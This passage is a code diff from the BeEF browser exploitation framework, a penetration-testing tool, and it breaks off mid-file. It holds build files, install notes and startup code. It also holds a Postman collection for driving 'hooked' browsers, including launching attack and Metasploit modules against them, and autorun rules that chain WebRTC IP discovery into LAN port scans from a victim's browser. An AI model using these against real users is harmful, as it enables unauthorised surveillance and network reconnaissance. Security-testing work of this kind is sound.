- CONFIG_FILE=windows/xp/xp_ie_7.config.yml
jobs:
include:
- name: "Full Test Suite 2.5.3"
rvm: 2.5.3
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.6.0"
rvm: 2.6.0
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.6.3"
rvm: 2.6.3
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.6.5"
rvm: 2.6.5
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
- name: "Full Test Suite 2.7.0"
rvm: 2.7.0
env: CONFIG_FILE=windows/win10/win10_chrome_81.config.yml
script: bundle exec rspec
script:
- bundle exec rspec --tag run_on_browserstack
addons:
apt:
packages:
- libsqlite3-dev
- build-essential
- patch
- ruby-dev
- zlib1g-dev
- liblzma-dev
- libcurl4-openssl-dev
- libsqlite3-dev
- build-essential
- patch
- ruby-dev
- zlib1g-dev
- liblzma-dev
- libcurl4-openssl-dev
browserstack:
username:
secure: "Yj+a2jY56dFqJwXdU6JdSXeKhhS01CiToBoB922SXVnA2D2WclGOFiTi0YrkAS9PuOJX5AjC9eUw7VFUcp8DiLmeDGLWo8klYrWQoJOH55FmSWKjdkqDopJFYr0ZXk/ZuXzzpuMvKkCT5MGFnySXyheTW8aUj33GetJ6/sNq5BoA36jH04OE3iPgdBaFPRNDVXEIWLaLUDQsAyZsHNNYC+/cj3cxjXLHu+mbNuXsXEHgrHJ2A94EWdrdGODWL8mRtlSDNkIaYHZKCBnUlHWwCwBitLsjhzdy0YFrIGVbX96FV+C41sjPWLFjZhjAaNDuJ3FoTplbzFNvrw5oxQAAI8ZZqUwF4MRIrQbN8BLFVISX7JooQjfyrNVWvhpZWGPB4GZTN4CThrlQ7G7CJRYDVyqZ7nen6y0+osBr9DRKN+EemlVG73aNP3mXaZr6BmS1BpQJ6tlqDdLCvC5j/PdguKwvt4EmgHA8Pzn20UElV+8BPblcYGjsWplk/cxW1adW0pu2vIxskKxDKJ/ReY3l5yUpiQPZHbuMidq2ffSX0B3yALe7vx+3AvMb2Fk9yWh52EVJXPkVlLvhP7wDd22MHCemvrC2nLhkVR4MglLWs7dZKHswExlKJdWK4OSXprOStjZSA47sjF2nPdztWTpdI77SKaBcoLGR5WOV+JtcQgk="
access_key:
secure: "KHlR8NHPnoF9U1CJKgUhS1YhPSeTILI2lIu+JilQ5Xeo7rcbWg9lT2xwQQNnLYrISG1vC6OzsbkcnC/3ZnAv7jYff4iUTc3Syszs5wIhhvnhBx4qCxM+/UD78TJNQ0AuY7NOIK6OXcmwbpZrOBUojZkooEkc8bpG56nb2v7dOIafFLV+tv9xcc5DtMSfh7FavhqRFRO+PCybqOW8yWMc2NiMYy3p9jKBC3qYRqme4hx1NRrLo5BZQ+UIcO3Rf+vAjUP+3gGuhWeu2kDCvZYDnI2GN1/WacRVY2cqDPGiYlD6pHNMqU0raYKyWdK0QD4KwYpfjxBGRmwBfz8xU8KWUEZ3P11mJn+BvIt0qe3VpomR0/60/fok1BEso3nea8oENXur5G/5SOfpkPLjzd4P4f7JYnST1PeeWwpzV305wktDv9aLc+Ne9cFCaxSaaCnOk82rKDhtnktwnK7krFj1lM6oygtOD+arAytPKaURRgV2izaoophiXuLFb+9XKSkMGtJ3e+rQATonnDPaFTzouKaXSEPxZQQ2bnsp9tETAReDrYIwPHuYL778UbbBICgNk54CZSfTeRFLroRGNPb/0gPXbu6SryPnknfCMNd7ksSndVoyKsDo1plTHQJGVweP2hxR3R/9syk9Z6DU6H5H3dc/RbkkmoRPVooUtR/mZ/c="

View File

@@ -0,0 +1,49 @@
{
"id": "3b5f29e6-c8eb-4d23-bf52-c01255f22f08",
"name": "BeEF",
"values": [
{
"key": "hostname",
"value": "127.0.0.1",
"enabled": true
},
{
"key": "username",
"value": "beef",
"enabled": true
},
{
"key": "password",
"value": "beef",
"enabled": true
},
{
"key": "token",
"value": "",
"enabled": true
},
{
"key": "session",
"value": "",
"enabled": true
},
{
"key": "module_id",
"value": "",
"enabled": true
},
{
"key": "cmd_id",
"value": "",
"enabled": true
},
{
"key": "dnsrule_id",
"value": "",
"enabled": true
}
],
"_postman_variable_scope": "environment",
"_postman_exported_at": "2020-01-03T06:00:29.827Z",
"_postman_exported_using": "Postman/7.14.0"
}

64
Dockerfile Normal file
View File

@@ -0,0 +1,64 @@
###########################################################################################################
###########################################################################################################
## ##
## Please read the Wiki Installation section on set-up using Docker prior to building this container. ##
## BeEF does NOT allow authentication with default credentials. So please, at the very least ##
## change the username:password in the config.yaml file to something secure that is not beef:beef ##
## before building or you will to denied access and have to rebuild anyway. ##
## ##
###########################################################################################################
###########################################################################################################
# ---------------------------- Start of Builder 0 - Gemset Build ------------------------------------------
FROM ruby:2.6.3-alpine AS builder
LABEL maintainer="Beef Project: github.com/beefproject/beef"
# Install gems in parallel with 4 workers to expedite build process.=
ARG BUNDLER_ARGS="--jobs=4"
# Set gemrc config to install gems without Ruby Index (ri) and Ruby Documentation (rdoc) files
RUN echo "gem: --no-ri --no-rdoc" > /etc/gemrc
COPY . /beef
# Add bundler/gem dependencies and then install
RUN apk add --no-cache git curl libcurl curl-dev ruby-dev libffi-dev make g++ gcc musl-dev zlib-dev sqlite-dev && \
bundle install --system --clean --no-cache --gemfile=/beef/Gemfile $BUNDLER_ARGS && \
# Temp fix for https://github.com/bundler/bundler/issues/6680
rm -rf /usr/local/bundle/cache
WORKDIR /beef
# So we don't need to run as root
RUN chmod -R a+r /usr/local/bundle
# ------------------------------------- End of Builder 0 -------------------------------------------------
# ---------------------------- Start of Builder 1 - Final Build ------------------------------------------
FROM ruby:2.6.3-alpine
LABEL maintainer="Beef Project: github.com/beefproject/beef"
# Create service account to run BeEF
RUN adduser -h /beef -g beef -D beef
COPY . /beef
# Use gemset created by the builder above
COPY --from=builder /usr/local/bundle /usr/local/bundle
# Grant beef service account owner and groups rights over our BeEF working directory.
RUN chown -R beef:beef /beef
# Install BeEF's runtime dependencies
RUN apk add --no-cache curl git build-base openssl readline-dev zlib zlib-dev libressl-dev yaml-dev sqlite-dev sqlite libxml2-dev libxslt-dev autoconf libc6-compat ncurses5 automake libtool bison nodejs
WORKDIR /beef
# Ensure we are using our service account by default
USER beef
# Expose UI, Proxy, WebSocket server, and WebSocketSecure server
EXPOSE 3000 6789 61985 61986
ENTRYPOINT ["/beef/beef"]
# ------------------------------------- End of Builder 1 -------------------------------------------------

58
Gemfile
View File

@@ -1,44 +1,30 @@
# BeEF's Gemfile
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
#gem 'simplecov', require: false, group: :test
gem 'eventmachine'
gem 'thin'
gem 'sinatra', '~> 2.0'
gem 'rack', '~> 2.0'
gem 'rack-protection', '~> 2.0'
gem 'sinatra', '>= 2.0.2'
gem 'rack', '>= 2.2.3'
gem 'rack-protection', '>= 2.0.0'
gem 'em-websocket' # WebSocket support
gem 'uglifier'
gem 'uglifier', '>= 2.7.2'
gem 'mime-types'
gem 'execjs'
gem 'ansi'
gem 'term-ansicolor', :require => 'term/ansicolor'
gem 'dm-core'
gem 'json'
gem 'data_objects'
gem 'rubyzip', '>= 1.2.2'
gem 'espeak-ruby', '>= 1.0.4' # Text-to-Voice
gem 'nokogiri', '>= 1.7'
gem 'rake'
# SQLite support
group :sqlite do
gem 'dm-sqlite-adapter'
end
# PostgreSQL support
group :postgres do
#gem dm-postgres-adapter
end
# MySQL support
group :mysql do
#gem dm-mysql-adapter
end
gem 'nokogiri', '>= 1.11.1'
gem 'rake', '>= 12.3.3'
gem 'otr-activerecord', '>= 1.4.2'
gem 'sqlite3'
gem 'rubocop', '~> 1.20.0', require: false
# Geolocation support
group :geoip do
@@ -47,7 +33,6 @@ end
gem 'parseconfig'
gem 'erubis'
gem 'dm-migrations'
# Metasploit Integration extension
group :ext_msf do
@@ -67,7 +52,7 @@ end
# DNS extension
group :ext_dns do
gem 'rubydns', '~> 0.7.3'
gem 'async-dns'
end
# QRcode extension
@@ -77,25 +62,32 @@ end
# For running unit tests
group :test do
if ENV['BEEF_TEST']
gem 'test-unit'
gem 'test-unit-full'
gem 'rspec'
gem 'rdoc'
gem 'rdoc'
# curb gem requires curl libraries
# sudo apt-get install libcurl4-openssl-dev
gem 'curb'
# selenium-webdriver 3.x is incompatible with Firefox version 48 and prior
gem 'selenium'
gem 'selenium-webdriver', '~> 2.53.4'
# gem 'selenium' # Requires old version of selenium which is no longer available
gem 'geckodriver-helper'
gem 'selenium-webdriver'
# nokogirl is needed by capybara which may require one of the below commands
# sudo apt-get install libxslt-dev libxml2-dev
# sudo port install libxml2 libxslt
gem 'capybara'
# RESTful API tests/generic command module tests
gem 'rest-client', '>= 2.0.1'
gem 'byebug'
end
gem 'irb'
gem 'pry-byebug'
gem "websocket-client-simple", "~> 0.3.0"
gem "browserstack-local", "~> 1.3"
end
source 'https://rubygems.org'

View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -21,9 +21,9 @@ Or cloning the Git repository from Github:
Prerequisites
--------------
BeEF requires Ruby 2.4+.
BeEF requires Ruby 2.5+.
If your operating system package manager does not support Ruby version 2.4,
If your operating system package manager does not support Ruby version 2.5,
you can add the brightbox ppa repository for the latest version of Ruby:
$ sudo apt-add-repository -y ppa:brightbox/ruby-ng
@@ -67,5 +67,11 @@ it's best to regularly update BeEF to the latest version.
If you're using BeEF from the GitHub repository, updating is as simple as:
$ git pull
$ ./update-beef
Or pull the latest repo yourself and then update the gems with:
$ git pull
$ bundle

View File

@@ -1,6 +1,6 @@
===============================================================================
Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
Browser Exploitation Framework (BeEF) - http://beefproject.com
See the file 'doc/COPYING' for copying permission
@@ -28,21 +28,18 @@ __Bugs:__ https://github.com/beefproject/beef/issues
__Security Bugs:__ security@beefproject.com
__IRC:__ ircs://irc.freenode.net/beefproject
__Twitter:__ @beefproject
__Twitter:__ [@beefproject](https://twitter.com/beefproject)
Requirements
------------
* Operating System: Mac OSX 10.5.0 or higher / modern Linux. Note: Windows is not supported.
* [Ruby](http://ruby-lang.org): 2.4 or newer
* [Ruby](http://ruby-lang.org): 2.5 or newer
* [SQLite](http://sqlite.org): 3.x
* [Node.js](https://nodejs.org): 6 or newer
* [Node.js](https://nodejs.org): 10 or newer
* The gems listed in the Gemfile: https://github.com/beefproject/beef/blob/master/Gemfile
* Selenium is required on OSX: brew install selenium-server-standalone (See https://github.com/shvets/selenium)
* Selenium is required on OSX: `brew install selenium-server-standalone` (See https://github.com/shvets/selenium)
Quick Start
-----------
@@ -55,13 +52,19 @@ The `install` script installs the required operating system packages and all the
$ ./install
```
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt).
We also have an [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
For full installation details, please refer to [INSTALL.txt](https://github.com/beefproject/beef/blob/master/INSTALL.txt) or the [Installation](https://github.com/beefproject/beef/wiki/Installation) page on the wiki.
Upon successful installation, be sure to read the [Configuration](https://github.com/beefproject/beef/wiki/Configuration) page on the wiki for important details on configuring and securing BeEF.
Documentation
---
* [User Guide](https://github.com/beefproject/beef/wiki#user-guide)
* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)
* [JSdocs](https://beefproject.github.io/beef/index.html)
Usage
-----

View File

@@ -0,0 +1,567 @@
{
"info": {
"_postman_id": "3b47c3ff-c03f-446c-8edb-cacaab481425",
"name": "RESTful API",
"schema": "https://schema.getpostman.com/json/collection/v2.1.0/collection.json"
},
"item": [
{
"name": "Authentication",
"event": [
{
"listen": "test",
"script": {
"id": "8e1a5f48-1d41-469d-a153-6cd5ee751912",
"exec": [
"var jsonData = JSON.parse(responseBody);",
"pm.environment.set(\"token\", jsonData.token);"
],
"type": "text/javascript"
}
}
],
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "{\n\t\"username\": \"{{username}}\",\n\t\"password\": \"{{password}}\"\n\t\n}",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/admin/login",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"admin",
"login"
]
},
"description": "In order to use the API, a token parameter must always be added to requests, otherwise a 401 error (Not Authorized) is returned.\n\nA new pseudo-random token is generated each time BeEF starts, using BeEF::Core::Crypto::api_token. The token is added to the BeEF::Configuration object.\n\nWhen BeEF starts the token is printed to the console. It should look something like:\n\n[16:02:47][*] RESTful API key: 320f3cf4da7bf0df7566a517c5db796e73a23f47\nGrabbing the Token from BeEF's API\n\nYou can issue a POST request to /api/admin/login using the BeEF credentials you have set in the main config.yaml file. This request will return the token in the response. You can parse the JSON and use it for your next requests requiring authentication."
},
"response": []
},
{
"name": "Get All Hooked Browsers",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/hooks?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"hooks"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Provides information (browser and OS version, cookies, enabled plugins, etc) about all hooked browsers (both online and offline)."
},
"response": []
},
{
"name": "Get Specific Hooked Browser",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/hooks/{{session}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"hooks",
"{{session}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "\n Provides information (browser and OS version, cookies, enabled plugins, etc) about a specific hooked browser.\n"
},
"response": []
},
{
"name": "Get All Hooked Browsers Logs",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/logs?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"logs"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "The logs handler gives information about all hooked browser's logs, both global and relative."
},
"response": []
},
{
"name": "Get Specific Hooked Browsers Logs",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/logs/{{session}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"logs",
"{{session}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": " The logs handler gives information about a specified hooked browser's logs.\n"
},
"response": []
},
{
"name": "List All Command Modules",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "List all available BeEF command modules."
},
"response": []
},
{
"name": "Get Information on Specific Module",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Get detailed information about a specific BeEF command module.\n"
},
"response": []
},
{
"name": "Launch Command Module on a Specific Browser",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Launch a specific BeEF command module on a given hooked browser.\n"
},
"response": []
},
{
"name": "Return Information About Previously Executed Module",
"protocolProfileBehavior": {
"disableBodyPruning": true
},
"request": {
"method": "GET",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}/{{cmd_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}",
"{{cmd_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns information about a specific previously launched BeEF command module.\n"
},
"response": []
},
{
"name": "Send a Metasploit Module",
"request": {
"method": "POST",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/modules/{{session}}/{{module_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"{{session}}",
"{{module_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Launch a specific Metasploit module on a given hooked browser\n"
},
"response": []
},
{
"name": " Send a Module to Multiple Hooked Browsers",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/multi_browser?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"multi_browser"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Fire a new command module to multiple hooked browsers. Returns the command IDs of the launched module, or 0 if firing got issues."
},
"response": []
},
{
"name": " Send Multiple Modules to a Single Hooked Browser",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/modules/multi_module?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"modules",
"multi_module"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Fire multiple command modules to a single hooked browser. Returns the command IDs of the launched modules, or 0 if firing got issues."
},
"response": []
},
{
"name": "List the DNS ruleset",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/ruleset?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"ruleset"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns the current set of DNS rules.\n"
},
"response": []
},
{
"name": "List a Specific DNS Rule",
"request": {
"method": "GET",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule",
"{{dnsrule_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Returns an individual DNS rule given its unique id.\n"
},
"response": []
},
{
"name": "Add a New DNS Rule",
"request": {
"method": "POST",
"header": [
{
"key": "Content-Type",
"name": "Content-Type",
"value": "application/json",
"type": "text"
}
],
"body": {
"mode": "raw",
"raw": "",
"options": {
"raw": {
"language": "json"
}
}
},
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Adds a new DNS rule or \"resource record\". Does nothing if rule is already present.\n"
},
"response": []
},
{
"name": "Remove an Existing DNS Rule",
"request": {
"method": "DELETE",
"header": [],
"url": {
"raw": "http://{{hostname}}:3000/api/dns/rule/{{dnsrule_id}}?token={{token}}",
"protocol": "http",
"host": [
"{{hostname}}"
],
"port": "3000",
"path": [
"api",
"dns",
"rule",
"{{dnsrule_id}}"
],
"query": [
{
"key": "token",
"value": "{{token}}"
}
]
},
"description": "Removes an individual DNS rule with a specified unique ID.\n"
},
"response": []
}
],
"protocolProfileBehavior": {}
}

View File

@@ -1,64 +1,26 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
require 'yaml'
require 'bundler/setup'
load 'tasks/otr-activerecord.rake'
#require 'pry-byebug'
task :default => ["quick"]
desc "Run quick tests"
task :quick do
Rake::Task['unit'].invoke # run unit tests
end
desc "Run all tests"
task :all do
Rake::Task['integration'].invoke # run integration tests
Rake::Task['unit'].invoke # run unit tests
Rake::Task['msf'].invoke # run msf tests
end
desc "Run automated tests (for Jenkins)"
task :automated do
Rake::Task['xserver_start'].invoke
Rake::Task['all'].invoke
Rake::Task['xserver_stop'].invoke
end
desc "Run integration unit tests"
task :integration => ["install"] do
Rake::Task['beef_start'].invoke
sh "export DISPLAY=:0; cd test/integration;ruby -W0 ts_integration.rb"
Rake::Task['beef_stop'].invoke
end
desc "Run integration unit tests"
task :unit => ["install"] do
sh "cd test/unit;ruby -W0 ts_unit.rb"
end
desc "Run MSF unit tests"
task :msf => ["install", "msf_install"] do
Rake::Task['msf_update'].invoke
Rake::Task['msf_start'].invoke
sh "cd test/thirdparty/msf/unit/;ruby -W0 ts_metasploit.rb"
Rake::Task['msf_stop'].invoke
end
task :default => ["spec"]
desc 'Generate API documentation to doc/rdocs/index.html'
task :rdoc do
Rake::Task['rdoc:rerdoc'].invoke
end
desc 'rest test examples'
task :rest_test do
Rake::Task['beef_start'].invoke
## RSPEC
require 'rspec/core/rake_task'
sh 'cd test/api/; ruby -W2 1333_auth_rate.rb'
Rake::Task['beef_stop'].invoke
RSpec::Core::RakeTask.new(:spec) do |task|
task.rspec_opts = ['--tag ~run_on_browserstack']
end
################################
@@ -153,7 +115,7 @@ task :beef_start => 'beef' do
test_pass = ENV['TEST_BEEF_PASS'] || 'bad_fred_no_access'
# write a rake config file for beef
config = YAML.load(File.read('./config.yaml'))
config = YAML.safe_load(File.read('./config.yaml'))
config['beef']['credentials']['user'] = test_user
config['beef']['credentials']['passwd'] = test_pass
Dir.mkdir('tmp') unless Dir.exists?('tmp')
@@ -276,5 +238,10 @@ task :cde_beef_start => 'beef' do
puts '.'
end
################################
# ActiveRecord
namespace :db do
task :environment do
require_relative "beef"
end
end

View File

@@ -1,7 +1,7 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
0.4.7.2-alpha
0.5.2.0

1
_config.yml Normal file
View File

@@ -0,0 +1 @@
theme: jekyll-theme-minimal

View File

@@ -0,0 +1,29 @@
{"name": "LAN Port Scan",
"author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"<<mod_input>>",
"ports":"80,8080",
"closetimeout":"1100",
"opentimeout":"2500",
"delay":"600",
"debug":"false"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

View File

@@ -0,0 +1,25 @@
{"name": "LAN SW Port Scan",
"author": "aburro & aussieklutz",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "sw_port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"192.168.1.10",
"ports":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
}

100
beef
View File

@@ -1,7 +1,7 @@
#!/usr/bin/env ruby
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
@@ -12,11 +12,11 @@
$VERBOSE = nil
#
# @note Version check to ensure BeEF is running Ruby 2.4+
# @note Version check to ensure BeEF is running Ruby 2.5+
#
if RUBY_VERSION < '2.4'
if RUBY_VERSION < '2.5'
puts
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.4 or later."
puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.5 or later."
puts
exit 1
end
@@ -42,6 +42,28 @@ $home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
# @note Require core loader
#
require 'core/loader'
require 'timeout'
#
# @note Ask user if they would like to update beef
#
if BeEF::Core::Console::CommandLine.parse[:update_disabled] == false
if BeEF::Core::Console::CommandLine.parse[:update_auto] == true
print "Pulling latest BeEF repository and updating"
`git pull && bundle`
else
begin
answer = Timeout::timeout(5) do
print "Would you like to check and download the latest BeEF update? y/n: "
response = gets
`git pull && bundle` if response.strip == 'y'
end
rescue Timeout::Error
puts "\nUpdate Skipped with input timeout"
end
end
end
#
# @note Create ~/.beef/
@@ -109,21 +131,13 @@ end
#
# @note Validate beef.http.public and beef.http.public_port
#
unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}"
unless config.get('beef.http.public.host').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public.host'))
print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public.host')}"
exit 1
end
unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}"
exit 1
end
#
# @note Validate database driver
#
unless ['sqlite', 'postgres', 'mysql'].include? config.get('beef.database.driver')
print_error 'No default database selected. Please add one in config.yaml'
unless config.get('beef.http.public.port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public.port'))
print_error "ERROR: Invalid public port: #{config.get('beef.http.public.port')}"
exit 1
end
@@ -160,45 +174,31 @@ BeEF::Modules.load
Socket.do_not_reverse_lookup = true
#
# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging
# @note Database setup
#
case config.get("beef.database.driver")
when "sqlite"
DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
when "mysql", "postgres"
DataMapper.setup(:default,
:adapter => config.get("beef.database.driver"),
:host => config.get("beef.database.db_host"),
:port => config.get("beef.database.db_port"),
:username => config.get("beef.database.db_user"),
:password => config.get("beef.database.db_passwd"),
:database => config.get("beef.database.db_name"),
:encoding => config.get("beef.database.db_encoding")
)
else
print_error 'No default database selected. Please add one in config.yaml'
exit 1
end
#
# @note Load the database
#
begin
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
DataMapper.auto_migrate!
else
DataMapper.auto_upgrade!
end
rescue => e
print_error "Could not connect to database: #{e.message}"
if config.get("beef.database.driver") == 'sqlite'
print_error "Ensure the #{$root_dir}/#{config.get("beef.database.db_file")} database file is writable"
end
exit 1
db_file = config.get('beef.database.file')
# @note Resets the database if the -x flag was passed
if BeEF::Core::Console::CommandLine.parse[:resetdb]
print_info 'Resetting the database for BeEF.'
File.delete(db_file) if File.exists?(db_file)
end
# Connect to DB
ActiveRecord::Base.logger = nil
OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
# otr-activerecord require you to manually establish the connection with the following line
#Also a check to confirm that the correct Gem version is installed to require it, likely easier for old systems.
if Gem.loaded_specs['otr-activerecord'].version > Gem::Version.create('1.4.2')
OTR::ActiveRecord.establish_connection!
end
# Migrate (if required)
context = ActiveRecord::Migration.new.migration_context
if context.needs_migration?
ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
end
#
# @note Extensions may take a moment to load, thus we print out a please wait message
#

16
conf.json Normal file
View File

@@ -0,0 +1,16 @@
{
"source": {
"include": ["./core/main/client"],
"includePattern": ".js$"
},
"plugins": [
"plugins/markdown"
],
"opts": {
"encoding": "utf8",
"readme": "./README.md",
"destination": "docs/",
"recurse": true,
"verbose": true
}
}

View File

@@ -1,12 +1,12 @@
#
# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
